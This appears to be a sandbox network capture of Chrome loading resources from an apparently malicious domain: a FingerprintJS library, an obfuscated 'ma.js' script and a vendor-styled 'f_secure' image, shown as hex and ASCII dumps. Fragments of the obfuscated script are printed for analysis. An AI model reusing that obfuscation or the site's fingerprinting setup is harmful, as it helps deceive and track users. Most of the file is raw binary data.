%dk4nw.>%iKv4y%.T+(@zL)K@l"X[@,M%,TCLUG^Newb}C}YC~JZZ(O4t4/W9GH]N\6JZ$3$1Ii_Rk}>m,z$K*-_Du
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: cb 88 e5 3e f7 4b fb 11 e5 df 2e f6 4b fb 32 21 d0 e8 97 2f 92 ff 00 3a c6 fe e7 fd 82 56 cf 7a db 2b 8c 92 24 9a 7d 8a 99 1a 63 4a 6d fa 8b ce 0d af 52 b9 48 b6 4a 0c ba 94 4d f5 0c e4 53 26 1c 8a 91 2c 4a 4b a1 95 ae a5 b2 93 2b 7d cc 36 6c 04 09 34 40 2b 0a 41 d0 40 2a 70 ea 0e 5e a5 ac 56 80 15 22 68 64 88 d1 40 ba 09 08 00 a0 0b 20 04 d0 63 d0 84 45 21 18 ac 2c 0c 10 04 64 23 00 3a e8 00 ed e8 50 02 44 98 50 c8 58 a1 52 0e 83 2f 82 35 b1 65 a2 35 d0 47 d8 b3 d3 42 49 74 16 4a 2a 5b 1d 30 24 f4 36 8a 28 f4 55 57 d0 d5 5e 3e d6 f4 68 c0 c3 b2 d4 b4 8f 55 c2 bc 3b 7e 4a d4 60 df e0 c4 a5 47 34 ac f2 f5 62 ef f6 96 ac 07 2e d1 67 d4 78 67 81 6c 9e a5 6a d2 3d 1e 3f 84 78 6e 1c 14 af 49 ff 00 26 6e 4c b4 be 4f 88 c3 83 df 3f b6 a9 3f c1 b3 1f c3 19 f6 b5 Data Ascii: >K.K2!/:Vz+$}cJmRHJMS&,JK+}6l4@+A@p^V"hd@ cE!,d#:PDPXR/5e5GBItJ[0$6(UW^>hU;~J`G4b.gxglj=?xnI&nLO??
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 2b 95 07 61 d0 fd 8a 67 53 df 62 a9 06 8e 44 ea 49 75 45 4e 31 5d 74 74 ad af 7d 0c 76 d7 ae 86 d4 8c d1 ce b5 6e 5d 11 53 89 b9 d4 55 2a cd d8 a3 1b 88 bc 86 b7 0d 08 e2 85 8a 33 f2 93 94 b5 a0 34 5b 14 52 e3 d4 57 12 e6 85 97 42 8a 28 e5 06 8b 84 d1 45 09 a0 49 0e d0 1a 06 68 40 34 3e 80 51 45 6d 0a d1 6b ea 4e 46 c8 42 9d 07 46 98 d5 1d 75 03 84 53 04 33 e9 93 46 86 97 a2 11 c4 02 8e 5d b1 dc 3a 8f 18 75 2d 69 24 50 51 c9 d0 9c ba 45 9a d8 b2 89 01 5c 50 cc 55 dc 8e 5d 74 00 41 d3 63 6b a0 9c af 65 28 76 91 3a 68 65 5e fa 83 93 ae 80 b1 12 94 9e 91 7f 27 2c 7e 4b 21 c9 18 fc 82 6d 6b b9 4c 32 fa ae d3 ee 74 29 c9 7d 3a 9c 38 c9 97 42 e6 8c 33 34 7a 7c 7c f9 2d 47 98 e9 e3 f1 29 42 49 29 1e 36 9b 9a 96 db 2f fd 53 52 e8 cc d1 1c 4f a1 63 f1 99 c5 74 9b Data Ascii: +agSbDIuEN1]tt}vn]SU*34[RWB(EIh@4>QEmkNFBFuS3F]:u-i$PQE\PU]tAcke(v:he^',~K!mkL2t)}:8B34z\|\|-G)BI)6/SROct
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 2d 11 9d 48 db d3 b8 de 6f c9 ce 56 fc 8e ad df a9 a4 61 a3 67 98 fd c5 76 7c 99 f9 be 41 29 7c 9a a2 17 3b 18 1d 8c a1 c8 47 61 1a 2a 34 f3 b2 73 fc 99 1d 84 f3 08 5a 36 ab 3e 46 f3 7e 4e 7a b0 3c ef dc 16 8e 87 9f af 50 3c 87 ee 60 73 60 73 64 14 74 3f 50 d7 a8 25 90 fd cc 1c ec 8e 6f 44 2d 1d 2a b2 1f b9 6b bd bf 53 95 55 9c b2 ea 69 53 4d 77 3a c1 f4 66 48 db 1b df b8 f2 bd f2 f7 30 29 0e e6 b9 4a d1 11 ae 39 73 5e a5 d0 ce 7e ac e4 ab 3a 87 cc 5b 3c cd 1d 91 dc 8e 6c 97 ee 66 8a f3 e4 bf 71 e7 e3 6b d1 64 6d 32 cd 51 e9 ab e2 32 5e a6 ba f8 94 ba 7d 47 97 85 db 45 d0 b5 fb 99 62 8f 5d 57 14 9a ed 36 6d a7 8b da bb 4d ff 00 67 8c ae e9 7b 9a aa c8 66 1c 53 2d 33 de e2 f8 83 26 b6 b5 6b fe cf 41 81 e2 db 93 51 9c b6 7c cf 12 73 b1 a5 14 ce b5 3c b4 ae Data Ascii: -HoVagv\|A)\|;Ga4sZ6>F~Nz<P<`s`sdt?P%oD-kSUiSMw:fH0)J9s^~:[<lfqkdm2Q2^}GEb]W6mMg{fS-3&kAQ\|s<
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: a4 0b ae 55 c3 ca de f6 cc 79 59 31 8c fe 9e ad 14 d5 cf 39 79 96 32 fb f4 5f 63 67 3e bd 43 34 a7 1e bd ca 7b f4 2e aa b9 49 ad f6 2c 92 24 6c df 88 dc 68 8f 3f 54 5d 6a 75 a5 64 3a c1 95 c7 4a a6 be 0d 15 2d f0 e9 b9 7a 3e 87 16 8e ca 54 4a 32 9a d7 53 ab 8d 9b 25 a3 ce 55 bd 9d 1c 7d f4 38 ce 09 9e 9c 79 24 8f 4b 55 f1 b7 4e 5d ce b6 0e 55 f4 c2 4e 32 7a 8f 53 cd e1 a9 4a 49 44 f4 29 2a 31 f9 67 f7 c9 76 3e 4f 32 31 a4 bd cf bf c1 94 e7 d4 bb 47 6d 2a b8 af 0f 96 45 69 2b ab 5f 56 8f 3b 64 6b cc a6 75 cd 6a c8 7a 9e 87 c2 d4 ca 14 e5 4d a6 ab 71 3c fd e9 51 2b ac ed cf 2e 87 91 b7 ed e5 33 df 8e 31 72 9e 3f 65 e0 f3 79 78 f6 d1 37 ae a8 c5 25 4d af 96 6b 96 47 a3 ca e5 b2 29 3e fa 38 39 b8 fa 6d a3 ef 71 b3 49 c5 36 7e 63 ea 18 14 32 34 8e 7e 4e 1c a1 Data Ascii: UyY19y2_cg>C4{.I,$lh?T]jud:J-z>TJ2S%U}8y$KUN]UN2zSJID)1gv>O21GmEi+_V;dkujzMq<Q+.31r?eyx7%MkG)>89mqI6~c24~N
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: a3 39 19 bf 4e 66 d7 a9 d8 c8 49 e8 e2 64 4f cc cc e5 5e 86 52 f0 56 cd 10 6e 6b 95 fe 0c 7c 61 ef 1e 3b fb 97 43 5a da 6b 46 1e 31 3e 68 a4 bd 3b 9a 96 3a 4d 92 19 2d a4 71 92 f5 60 6c 1b 15 3e bd 4f 19 ec 1b b8 7d 05 72 d0 13 29 07 4f d0 93 9f 2a 15 77 04 fa a7 b0 0c fe 82 a3 53 51 70 5a f6 33 c5 6e 7a 39 34 2c 64 1f e0 b7 93 a7 60 d7 4c 9b fb 59 68 59 52 8b 0f 2b 36 c7 1a c7 da 23 7e 8a 6f bb 48 ba b2 59 cf 19 23 72 c4 aa 2f eb b1 7e 0b 14 71 21 e8 d8 51 23 91 81 27 ec 59 1a ac 7d a2 cd aa fa 60 fe 9a 97 e4 33 cc 97 68 c5 2f c1 75 09 99 e1 89 74 bb 44 ba 38 13 6f ea 92 5f 91 65 93 6b e9 cc c5 72 b2 4d 75 62 90 b3 47 e8 e8 87 df 6a fc 0e 96 15 7e 8e 4c cf 1a 2e 9b e9 16 cb e1 c3 ef 9b ea b4 5a 20 56 5d 71 7a 85 51 fc 8a f3 6d 7f 6e 97 f0 69 87 0c e5 7b Data Ascii: 9NfIdO^RVnk\|a;CZkF1>h;:M-q`l>O}r)O*wSQpZ3nz94,d`LYhYR+6#~oHY#r/~q!Q#'Y}`3h/utD8o_ekrMubGj~L.Z V]qzQmni{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49745	52.92.227.48	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:14 UTC	535	OUT	GET /jsma/fp.js HTTP/1.1 Host: s3.us-west-2.amazonaws.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://pawern.markiwalk.lat sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:14 UTC	608	IN	HTTP/1.1 200 OK x-amz-id-2: 8uZKp7sbbp/nN7Tq4uPEYKKwEfMP+e1jppORi8KXOdK+gVybuFh/qYFI6KbjTkdZEohwZn7E5F8= x-amz-request-id: 54V0EGK1MPKY1BM3 Date: Thu, 03 Oct 2024 16:18:15 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Max-Age: 3000 Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method Last-Modified: Sat, 25 Feb 2023 10:10:37 GMT ETag: "3029ac1921f5b0735ce63619203b879b" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: application/javascript Server: AmazonS3 Content-Length: 34144 Connection: close
2024-10-03 16:18:14 UTC	15684	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 46 69 6e 67 65 72 70 72 69 6e 74 4a 53 20 76 33 2e 34 2e 30 20 2d 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 46 69 6e 67 65 72 70 72 69 6e 74 4a 53 2c 20 49 6e 63 2c 20 32 30 32 33 20 28 68 74 74 70 73 3a 2f 2f 66 69 6e 67 65 72 70 72 69 6e 74 2e 63 6f 6d 29 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 28 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 6d 69 74 2d 6c 69 63 65 6e 73 65 2e 70 68 70 29 20 6c 69 63 65 6e 73 65 2e 0a 20 2a 0a 20 2a 20 54 68 69 73 20 73 6f 66 74 77 61 72 65 20 63 6f 6e 74 61 69 6e 73 20 63 6f 64 65 20 66 72 6f 6d 20 6f 70 65 6e 2d 73 6f 75 72 63 65 20 70 72 6f 6a 65 63 74 73 3a 0a 20 2a 20 4d 75 72 6d 75 72 48 61 Data Ascii: /** * FingerprintJS v3.4.0 - Copyright (c) FingerprintJS, Inc, 2023 (https://fingerprint.com) * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php) license. * * This software contains code from open-source projects: * MurmurHa
2024-10-03 16:18:14 UTC	10616	IN	Data Raw: 79 61 6e 63 65 73 3a 5b 27 61 6d 70 2d 65 6d 62 65 64 5b 74 79 70 65 3d 22 7a 65 6e 22 5d 27 2c 22 2e 68 73 2d 73 6f 73 79 61 6c 22 2c 22 23 63 6f 6f 6b 69 65 63 6f 6e 73 65 6e 74 64 69 76 22 2c 27 64 69 76 5b 63 6c 61 73 73 5e 3d 22 61 70 70 5f 67 64 70 72 22 5d 27 2c 22 2e 61 73 2d 6f 69 6c 22 5d 2c 61 64 47 75 61 72 64 42 61 73 65 3a 5b 22 2e 42 65 74 74 65 72 4a 73 50 6f 70 4f 76 65 72 6c 61 79 22 2c 63 28 22 49 32 46 6b 58 7a 4d 77 4d 46 67 79 4e 54 41 3d 22 29 2c 63 28 22 49 32 4a 68 62 6d 35 6c 63 6d 5a 73 62 32 46 30 4d 6a 49 3d 22 29 2c 63 28 22 49 32 46 6b 4c 57 4a 68 62 6d 35 6c 63 67 3d 3d 22 29 2c 63 28 22 49 32 4e 68 62 58 42 68 61 57 64 75 4c 57 4a 68 62 6d 35 6c 63 67 3d 3d 22 29 5d 2c 61 64 47 75 61 72 64 43 68 69 6e 65 73 65 3a 5b 63 28 Data Ascii: yances:['amp-embed[type="zen"]',".hs-sosyal","#cookieconsentdiv",'div[class^="app_gdpr"]',".as-oil"],adGuardBase:[".BetterJsPopOverlay",c("I2FkXzMwMFgyNTA="),c("I2Jhbm5lcmZsb2F0MjI="),c("I2FkLWJhbm5lcg=="),c("I2NhbXBhaWduLWJhbm5lcg==")],adGuardChinese:[c(
2024-10-03 16:18:14 UTC	7844	IN	Data Raw: 65 76 69 63 65 4d 65 6d 6f 72 79 29 2c 76 6f 69 64 20 30 29 7d 2c 73 63 72 65 65 6e 52 65 73 6f 6c 75 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 73 63 72 65 65 6e 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 79 28 62 28 65 29 2c 6e 75 6c 6c 29 7d 2c 74 3d 5b 6e 28 65 2e 77 69 64 74 68 29 2c 6e 28 65 2e 68 65 69 67 68 74 29 5d 3b 72 65 74 75 72 6e 20 74 2e 73 6f 72 74 28 29 2e 72 65 76 65 72 73 65 28 29 2c 74 7d 2c 68 61 72 64 77 61 72 65 43 6f 6e 63 75 72 72 65 6e 63 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 79 28 62 28 6e 61 76 69 67 61 74 6f 72 2e 68 61 72 64 77 61 72 65 43 6f 6e 63 75 72 72 65 6e 63 79 29 2c 76 6f 69 64 20 30 29 7d 2c 74 69 6d 65 7a 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: eviceMemory),void 0)},screenResolution:function(){var e=screen,n=function(e){return y(b(e),null)},t=[n(e.width),n(e.height)];return t.sort().reverse(),t},hardwareConcurrency:function(){return y(b(navigator.hardwareConcurrency),void 0)},timezone:function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49746	52.218.242.160	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:14 UTC	368	OUT	GET /jsma/BkJz87K/ma.js HTTP/1.1 Host: s3.us-west-2.amazonaws.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:14 UTC	428	IN	HTTP/1.1 200 OK x-amz-id-2: uyOC9OPbnosDMtPXHb4NJnoFpevWSrf2XP2Kk9SYKBmIwvpfy/ajKDw067qgHsNEsrrAcHVN0H0= x-amz-request-id: 54V3YZNZHR3Z853M Date: Thu, 03 Oct 2024 16:18:15 GMT Last-Modified: Fri, 09 Aug 2024 16:57:38 GMT ETag: "092c4a0a8f166980d43ee01904806851" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: application/javascript Server: AmazonS3 Content-Length: 24142 Connection: close
2024-10-03 16:18:14 UTC	8480	IN	Data Raw: 76 61 72 20 5f 30 78 33 63 39 37 38 37 3d 5f 30 78 63 63 62 65 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 64 31 34 38 33 2c 5f 30 78 32 32 61 38 66 63 29 7b 76 61 72 20 5f 30 78 33 66 37 33 39 39 3d 5f 30 78 63 63 62 65 2c 5f 30 78 35 63 37 32 31 62 3d 5f 30 78 32 64 31 34 38 33 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 35 65 34 31 61 31 3d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 66 37 33 39 39 28 30 78 31 38 37 29 29 2f 30 78 31 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 33 66 37 33 39 39 28 30 78 31 34 30 29 29 2f 30 78 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 66 37 33 39 39 28 30 78 31 36 36 29 29 2f 30 78 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 66 37 33 39 39 28 30 78 38 62 29 29 2f 30 78 34 29 Data Ascii: var _0x3c9787=_0xccbe;(function(_0x2d1483,_0x22a8fc){var _0x3f7399=_0xccbe,_0x5c721b=_0x2d1483();while(!![]){try{var _0x5e41a1=parseInt(_0x3f7399(0x187))/0x1(parseInt(_0x3f7399(0x140))/0x2)+-parseInt(_0x3f7399(0x166))/0x3(-parseInt(_0x3f7399(0x8b))/0x4)
2024-10-03 16:18:14 UTC	15662	IN	Data Raw: 29 7b 5f 30 78 35 34 30 30 66 33 28 5f 30 78 33 38 33 61 66 36 3c 5f 30 78 31 36 65 31 64 65 28 29 29 3b 7d 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 31 37 35 39 33 29 7b 76 61 72 20 5f 30 78 32 65 34 31 61 33 3d 5f 30 78 34 37 31 36 65 35 3b 5f 30 78 66 36 31 39 32 62 28 6e 65 77 20 45 72 72 6f 72 28 5f 30 78 32 65 34 31 61 33 28 30 78 66 37 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 31 34 31 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 39 38 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 62 66 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 38 66 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 66 32 29 2b 27 66 61 69 6c 27 2b 5f 30 78 32 65 34 31 61 33 28 30 78 31 35 39 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 31 61 31 29 2b 5f 30 78 32 65 34 31 61 33 28 30 78 63 66 29 2b Data Ascii: ){_0x5400f3(_0x383af6<_0x16e1de());},function(_0x417593){var _0x2e41a3=_0x4716e5;_0xf6192b(new Error(_0x2e41a3(0xf7)+_0x2e41a3(0x141)+_0x2e41a3(0x98)+_0x2e41a3(0xbf)+_0x2e41a3(0x8f)+_0x2e41a3(0xf2)+'fail'+_0x2e41a3(0x159)+_0x2e41a3(0x1a1)+_0x2e41a3(0xcf)+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49752	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:14 UTC	717	OUT	GET /master/us217/f_secure_1.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:14 UTC	804	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:14 GMT Content-Type: image/png Content-Length: 9862 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:29:33 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 2921 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z2%2BQcY8F9MU2Lkizw6sRICV86GFlRSzbf5osMBdupHI5FNVUetAITCyX8U%2FOUXUSao7urJ1RALMVoI4wjN79emX4AFX0q%2BTEfnC9sGDn9Z07SDUOicbTuQf%2Bl5fDvMSMGkYf%2FnZkPA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f391a674307-EWR
2024-10-03 16:18:14 UTC	565	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8a 00 00 00 85 08 03 00 00 00 b3 0f 90 83 00 00 03 00 50 4c 54 45 00 00 00 dd d4 9c f9 f4 d8 b1 a6 34 d0 c8 7a 85 7a 18 e3 db a1 b2 a9 3a dc d6 a4 f6 f2 d2 de d6 97 e5 e0 ab ec e6 bc d1 c7 81 e4 de b2 ef e9 c3 a3 9c 4d c7 bf 6f b7 b2 70 bf b9 81 db d3 8e f0 e9 c9 d0 c8 70 f5 ee cc b9 b1 64 bd b2 4f bb aa 28 8e 86 32 ba b0 57 b5 a8 2e ad a5 30 9c 95 3d b8 af 48 c9 bd 5d be b6 5e cd c9 8c 84 7c 25 bb b1 43 ce c4 65 76 70 21 98 90 2a a8 9d 1c 8c 82 18 aa 9a 22 93 8d 45 9c 93 1d b1 ab 4a c8 bd 51 00 00 00 01 03 01 01 00 05 07 01 01 a8 99 02 03 00 00 8a 80 00 01 00 09 04 05 06 01 06 00 aa 9b 02 0c 04 01 96 8a 01 01 01 0d a8 97 0a a3 99 04 07 07 01 a7 96 02 af 9c 10 ac 9d 02 ff ff fe 03 01 13 a5 91 01 a8 Data Ascii: PNGIHDRPLTE4zz:MoppdO(2W.0=H]^\|%Cevp!*"EJQ
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 3e ae a4 26 97 8c 1f 48 3c 0f 68 62 08 3b 2c 05 af a2 03 15 15 02 1f 1a 00 f0 f0 f0 ea ea ea e6 e5 e5 28 26 07 be be a1 bd b5 5d 81 74 19 71 69 17 91 89 1d 69 62 15 9e 98 03 cd c2 74 74 75 74 ca c2 69 56 45 12 cd cc cc 54 53 53 60 53 16 9c 94 10 61 5b 05 8c 79 03 b0 a8 1b 89 80 0d bd b6 66 b6 aa 3d b5 9e 05 7f 80 80 2e 2f 2e ab a5 0f 65 54 07 8b 8b 8a b2 aa 2b 7a 68 16 b6 a7 0e 33 2a 0d e1 e0 de da da da b9 b9 bb b0 9c 20 96 93 10 9e 8a 0f e4 dd aa 91 91 91 4b 4b 4b 52 4e 14 d4 d5 d3 aa a0 2e 97 80 07 c3 c2 c3 a8 a8 a7 99 99 9a ba b4 53 43 35 14 46 44 0b 27 26 24 4e 40 1c d9 d1 c1 b1 b1 b1 cb c3 5d 9c 92 25 ae aa 5f 43 42 48 fb f9 df 9f 9f a0 d3 c4 7a 86 88 0e a2 a3 a7 82 67 04 d6 d5 91 b2 aa 73 bc b3 99 9e 97 64 47 4b 31 6d 0d 23 9f 00 00 00 30 74 52 4e Data Ascii: >&H<hb;,(&]tqiibttutiVETSS`Sa[yf=./.eT+zh3* KKKRN.SC5FD'&$N@]%_CBHzgsdGK1m#0tRN
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: e2 44 e1 e6 48 8c a5 de a7 53 85 25 9e f0 a6 79 f8 06 fa bc fa b0 ff 4d 53 99 fe 48 48 48 bf e7 fd 0f f8 f9 2f 54 8a 4a 4b 0a 50 4c ba a5 3d aa aa ea a1 6a 0e 03 86 c7 40 19 50 a4 2e bd ee 54 cd e1 8d 08 5a 73 a0 0e 45 22 23 11 16 4d 06 9a 90 78 ed 86 62 85 ae 37 02 c1 b8 e5 2f 53 59 af fa 79 2f 0c 0d dd ef ce cf bb 63 2a 36 6c b7 f5 f7 b7 84 78 82 5f 6b d8 b3 06 65 e2 45 eb 89 98 ae 6a 5c c0 00 4f 06 a3 d1 c7 68 53 8e 78 74 f7 01 14 f9 4e 5c 87 a0 75 c7 be d9 f8 79 64 24 b0 89 44 c0 bb 98 56 16 d7 77 6d 02 f9 82 f6 28 9e ec 4c 4b 4b 8b 53 2f 7c eb ce a9 64 04 32 a5 6c c8 39 a2 1c 71 5d 4e c5 99 92 c6 cc 04 cd 27 29 6c 36 28 85 14 11 d4 bd f7 e9 ee 3e 04 dd 78 f0 64 4e 1f ca 42 58 67 c5 e9 30 35 e2 dd c7 9a 46 4f d2 1c 51 94 cd 95 a8 6b 75 86 65 85 6a 1c Data Ascii: DHS%yMSHHH/TJKPL=j@P.TZsE"#Mxb7/SYy/c*6lx_keEj\OhSxtN\uyd$DVwm(LKKS/\|d2l9q]N')l6(>xdNBXg05FOQkuej
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: b9 de 2e e2 d9 02 4c 6a 32 ef ad 96 20 80 3e 88 79 ec ba 6d 27 11 26 67 53 62 42 e9 c2 bf 5c e8 99 4f c6 5a de 48 93 60 cd 74 cc 44 37 ae aa c1 20 a3 62 ef e1 2f 2b c0 d8 17 12 12 1f 9f e4 6e ce 6d 33 7d 67 38 dd 85 02 89 5a 97 b7 4f 80 d1 be fc f3 6d 5b 0f 9f ec 3c 96 cc c4 4d 0d b1 f3 bc 27 e3 28 67 5f 2e d6 65 e0 ec be ad 5f a6 83 ba d4 21 2c f0 07 e0 18 76 e0 4c f5 ea b8 c7 82 fc bd ff fc 75 6e f7 0b 08 9c 1b 7a ce d3 b3 c5 d9 9a c6 66 76 93 ad 11 28 83 45 fb f4 9a 6d e2 9c 4f 0f 62 82 5a 6b 31 7c bc 4f 0a fe a5 54 78 35 8a 6d 6c da 9a 93 73 80 05 7e 19 d2 e0 94 bd d6 54 26 96 b2 37 89 ff 6c 8b 27 f8 f4 a0 19 7f 14 92 e6 bb fa 6d 21 ee 10 d8 9a 18 2e 62 a0 d5 15 2a 13 97 89 23 e3 48 3f d5 1c 8f 45 d7 1a 8a 43 27 bd ca b7 3f 62 d8 7b 14 63 36 7f f6 4d Data Ascii: .Lj2 >ym'&gSbB\OZH`tD7 b/+nm3}g8ZOm[<M'(g_.e_!,vLunzfv(EmObZk1\|OTx5mls~T&7l'm!.b*#H?EC'?b{c6M
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 72 8c 8b f2 f4 32 83 4c 94 2f 82 56 99 de e9 5c 4a e9 1d 50 4d c9 1c 22 4a 04 cd ae eb f2 94 d9 12 f7 ce e8 7e 15 4d c5 8f 6c f9 fa 23 c7 18 45 29 b2 b3 49 b9 99 22 3a 28 22 5f 4e 91 14 49 42 9d c2 22 24 a8 0e 92 b0 58 e0 56 21 d7 9b b3 8b 0d 86 e2 6c aa 43 0e a6 41 0b 11 84 8c 24 28 8a 22 27 00 4f cb e5 44 76 bd 48 43 40 87 94 9c 04 d3 03 01 b9 5c 94 c0 93 f1 78 72 39 d9 21 94 91 2a f9 75 f9 6c 4d d8 d3 5f 7d e1 99 3d 3e 2b 3c 4f a0 22 b2 88 1c 15 31 51 20 1e 97 6f d6 e4 2d a5 f8 0a 3e 58 37 3f bb aa 2a 1f cc 5c 1e 15 a5 92 e7 87 09 f3 08 39 a5 d1 68 48 b2 42 48 41 7f 0a 21 69 58 9a 07 84 2c f9 c4 04 2a e4 94 a5 ca 42 a9 aa 5e b0 c8 f9 49 3c 5e 8c 2c 6f a9 88 a2 34 42 55 87 8a c7 cb e3 43 5f 49 51 aa 8e 84 eb f2 d6 98 84 b5 40 a5 78 5c 6d 13 ce 7c fd 91 Data Ascii: r2L/V\JPM"J~Ml#E)I":("_NIB"$XV!lCA$("'ODvHC@\xr9!ulM_}=>+<O"1Q o->X7?\9hHBHA!iX,*B^I<^,o4BUC_IQ@x\m\|
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 29 d9 94 14 39 47 c3 cd c2 09 3a 99 30 92 0a 30 ab fc 20 41 14 69 52 52 e4 f0 54 ea ca b8 65 ba 42 06 83 01 c1 7f 0c c5 0f aa 58 6b 54 e1 64 49 1a 1b 79 52 59 a3 a4 7f 1f a7 9e c7 e4 c9 64 12 66 63 63 61 c3 e8 21 19 14 e0 cc c0 ec 1e ee e8 88 9e c9 d4 f3 24 cc 91 85 b2 7a aa 6c 21 3b b6 21 6f b1 5c d6 57 d7 cf 63 82 b8 44 28 93 38 f9 79 14 68 59 62 f7 8c 8f f4 0b 15 4c 81 84 29 1b 99 df 53 23 91 8c 36 70 f8 b1 b9 d2 fc ba bc 14 4d f6 21 19 ae 90 30 25 52 9e e4 a0 cb f2 fd d4 7e cd b2 2a 9a 73 9e f8 6e 6b 72 a6 52 6d 31 91 30 a8 94 4a 95 c1 24 5a 01 97 9b a1 32 58 44 22 96 da ac e4 9a b9 dc 74 52 ca d2 3e c3 35 ab 59 50 c7 35 2b cd b0 57 1b 82 f2 06 63 06 5f 0e e0 72 b9 66 83 c5 64 81 8f ba 4e 69 56 c1 75 a1 4a a5 b2 04 f6 ea a0 bc cd b7 d8 0a 66 db b0 89 Data Ascii: )9G:00 AiRRTeBXkTdIyRYdfcca!$zl!;!o\WcD(8yhYbL)S#6pM!0%R~*snkrRm10J$Z2XD"tR>5YP5+Wc_rfdNiVuJf
